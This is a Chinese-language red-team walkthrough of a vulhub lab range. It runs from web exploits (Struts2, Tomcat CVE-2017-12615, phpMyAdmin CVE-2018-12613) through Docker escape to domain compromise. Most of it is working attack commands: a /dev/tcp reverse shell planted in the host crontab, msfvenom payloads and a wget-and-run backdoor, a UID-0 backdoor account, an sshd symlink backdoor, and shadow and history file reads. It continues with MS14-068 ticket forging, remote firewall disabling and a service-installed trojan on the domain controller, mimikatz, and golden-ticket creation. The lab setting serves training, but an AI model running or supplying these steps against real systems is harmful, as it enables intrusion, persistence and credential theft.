ATT&CK实战系列-红队评估四
DC:192.168.183.130
Ubuntu:192.168.252.212 192.168.183.128
WIN7:192.168.183.129
首先我们启动机器ubuntu配置两块网卡,接着在ubuntu中开启漏洞环境
我们开启docker中的漏洞
cd ~/Desktop/vulhub/tomcat/CVE-2017-12615
cd ~/Desktop/vulhub/phpmyadmin/CVE-2018-12613
cd ~/Desktop/vulhub/struts2/s2-045
信息收集
首先我们对目标机器进行端口扫描
这里我们发现了三个端口并检测出了他们所对应的服务,我们分别进行访问
漏洞分析
struts2漏洞
我们根据端口扫描的信息和页面的路径的后缀,我们进行struts2漏洞测试
尝试进行命令执行
tomcat漏洞
我们在信息收集阶段我们已经知道2002
端口是tomcat
服务,我们测试tomcat漏洞,使用vulmap
进行检测
我们利用CVE-2017-12615
漏洞上传冰蝎马。
我们用冰蝎连接我们刚写入的马,接着尝试执行命令
phpmyadmin漏洞
我们访问2003端口的时候,我们发现存在phpmyadmin未授权访问,通过查看我们知道其版本是4.8.1
我们知道CVE-2018-12613
漏洞的影响范围是4.8.0-4.8.1
,接下来我们进行漏洞测试
http://192.168.252.212:2003/index.php?target=db_sql.php%253f/../../../../../../etc/passwd
任意命令执行漏洞
我们已将发现了文件包含漏洞,被包含的漏洞都会以php解析执行相应的命令,这里由于使用的是docker容器,站库分离无法成功测试
查看本地数据库路径,创建一个rce表,向表内插入php语句,包含执行
show global variables like "%datadir%";
CREATE TABLE rce(code varchar(100));
INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");
包含session文件
进行session文件包含之前我们需要知道存放session临时文件的位置和session命令规则。
我们进入docker可以在tmp下查看到session
接着我们进行文件包含
http://192.168.252.212:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_7ae06b500e649dd46724cad5aa9c7e41
漏洞利用
docker逃逸
1.判断是否为docker环境
我们通过之前的漏洞已经拿到目标机器的shell了,接下来我们对已经拿到的shell机器进行信息收集,这里我们首先判断是不是docker环境
#查看.dockerenv文件,非docker环境一般不会有dockerenv文件,但如果dockerfile写的比较好的也有可能没有这个文件。
ls -alh /.dockerenv
#查询系统进程的cgroup信息
cat /proc/1/cgroup
2.挂载宿主机
当docker容器内拥有宿主机文件读写权限的时候,可以通过ssh密钥、计划任务等方式达到逃逸
#由于是特权模式启动的docker所以可以查看磁盘文件
fdisk -l
#新建目录以备挂载
mkdir /test
#将宿主机/dev/sha1 目录挂载至容器内 /test
mount /dev/sha1 /test
#即可写文件获取权限或数据
3.写入一个反弹shell的脚本
touch /test/tmp/test.sh
chmod +x /test/tmp/test.sh
ls -ll /test/tmp/test.sh
echo "#!/bin/bash" >> /test/tmp/test.sh
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.252.133/11235 0>&1" >> /test/tmp/test.sh
或者
sed -i '$a\/bin/bash -i >& bash -i >& /dev/tcp/192.168.252.133/11235 0>&1' /test/tmp/test.sh
cat /test/tmp/test.sh
这里由于我们在冰蝎中向文件中输入内容失败,所以我们将shell返回到了msf上进行操作
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.252.133 LPORT=4444 -f elf > /tmp/shell1.elf
#在msf上监听,然后在冰蝎的命令行上执行就反弹到msf上了
4.写入计划任务
sed -i '$a*/2 * * * * root bash /tmp/test.sh ' /test/etc/crontab
cat /test/etc/crontab
5.我们在kali上使用nc监听即可收到shell
nc -lvp 11235
权限提升
这里我们在计划任务中就以root权限返回shell了所以我们这里无需在进行提权,如果需要可以使用CVE-2021-3493
提权
权限维持
普通root组用户
useradd test1 -g 0 -s /bin/bash
或
useradd -p `openssl passwd 123456` -o -u 0 hacker
ssh软连接后门
软连后门需要root执行后门命令,任意密码登录
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=5547
内网渗透
内网信息收集
执行ifconfig
发现第二个网卡
我们将shell转到msf上,我们生成后门上传到获得shell的机器上,添加权限并执行
#这里我们将后门上传到vps上,下载到目标机器并执行
wget http://vps_ip/shell1.elf
chmod +x shell1.elf
./shell1.elf
#在我们执行后门之前我们需要在msf中进行监听
收到shell
信息收集
id 查看当前用户的权限和所在的管理组
uname -a 查看linux版本内核信息
cat /proc/version 查看内核信息
cat /etc/*release 查看linux发行信息
dpkg -l 查看安装的包
crontab -l 是否有计划任务
/sbin/ifconfig -a 查看ip地址等
cat /etc/passwd 普通用户可以查看用户的信息
cat /etc/shadow 账号密码信息
cat /root/.mysql_history 查看mysql历史操作
cat /root/.bash_history 查看用户指令历史记录
find / -perm -u=s -type f 2>/dev/null 匹配高权限的文件,看是否有利用点
接着我们添加路由进行横向
用msf找到存活主机,最终发现129、130
机器
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0-255
set threads 10
run
在msf上配置代理
use use auxiliary/server/socks4a
set srvhost 192.168.252.133
run
配置proxychains
mousepad /etc/proxychains.conf
接着使用nmap进行扫描
两个主机都开放了445端口,所以接着我们使用ms17-010
模块进行扫描,发现两个主机都可以利用该漏洞
在我尝试了千万次之后终于成功了
域内信息收集
为了方便我们信息收集,我们先把权限降低为域用户
#窃取某个进程的权限
steal_token 2854
#恢复之前的权限
rev2self
#参考
https://www.cnblogs.com/liang2580/p/9147792.html
网卡信息,我们看到域为demo
DNS为192.168.183.130
(中途我暂停了虚拟机,win的ip变为了192.168.183.131)
域内机器
域用户列表
域管列表
横向移动
利用ms14-068攻击域控
获取域用户sid:
我们在ubuntu的历史记录中发现了账户密码
cat .bash_history
伪造生成票据
proxychains python ms14-068.py -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130
上传mimikatz和票据到win7上,全部移动到C:下
upload /tmp/mimikatz.exe
upload /tmp/123/TGT_********
dir | find "mimikatz"
dir | find "TGT"
copy mimikatz.exe C:\
.....
导入票据
kerberos::purge
kerberos::ptc 票据名
访问域控
利用sc上线域控
sc \\WIN-ENS2VR5TR3N create closewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start closewall
msf生成bind木马
退回到system权限,并将后门上传到win7上,接着上传到域控机器上
rev2self
#上传后门到win7
upload /tmp/shell123.exe C:\\
#复制到域控上
copy shell123.exe \\WIN-ENS2VR5TR3N\c$
创建执行木马的服务
sc \\WIN-ENS2VR5TR3N create ma binpath= "c:\shell123.exe"
sc \\WIN-ENS2VR5TR3N start ma
msf收到会话
收到会话之后及时迁移进程
ps
migrate PID
dump所有hash
权限维持
load kiwi
kerberos_ticket_purge
golden_ticket_create -d demo.com -k 7c4ed692473d4b4344c3ba01c5e6cb63 -s S-1-5-21-979886063-1111900045-1414766810 -u Administrator -t /tmp/krbtgt.ticket
#-k 为krbtgt的hash -s domainSID -t 生成票据 -d 域
kerberos_ticket_use /tmp/krbtgt.ticket
这样我们就可以使用票据在普通域用户上获取域控权限